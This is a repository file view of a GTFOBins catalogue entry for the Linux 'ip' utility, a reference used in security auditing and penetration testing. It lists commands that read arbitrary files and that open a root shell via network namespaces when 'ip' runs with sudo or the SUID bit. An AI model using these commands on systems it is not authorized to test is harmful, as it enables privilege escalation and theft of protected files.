GTFOBins.github.io/_gtfobins/ip.md
S. Sauvin 383db60b02 Update ip with sudo and SUID (#56)
* Update ip with sudo and SUID
2019-03-12 11:51:10 +00:00

28 lines
709 B
Markdown

---
description: |
The read file content is corrupted by error prints.
functions:
file-read:
- code: |
LFILE=file_to_read
ip -force -batch "$LFILE"
suid:
- code: |
LFILE=file_to_read
./ip -force -batch "$LFILE"
- description: This only works for Linux with CONFIG_NET_NS=y.
code: |
./ip netns add foo
./ip netns exec foo /bin/sh -p
./ip netns delete foo
sudo:
- code: |
LFILE=file_to_read
sudo ip -force -batch "$LFILE"
- description: This only works for Linux with CONFIG_NET_NS=y.
code: |
sudo ip netns add foo
sudo ip netns exec foo /bin/sh
sudo ip netns delete foo
---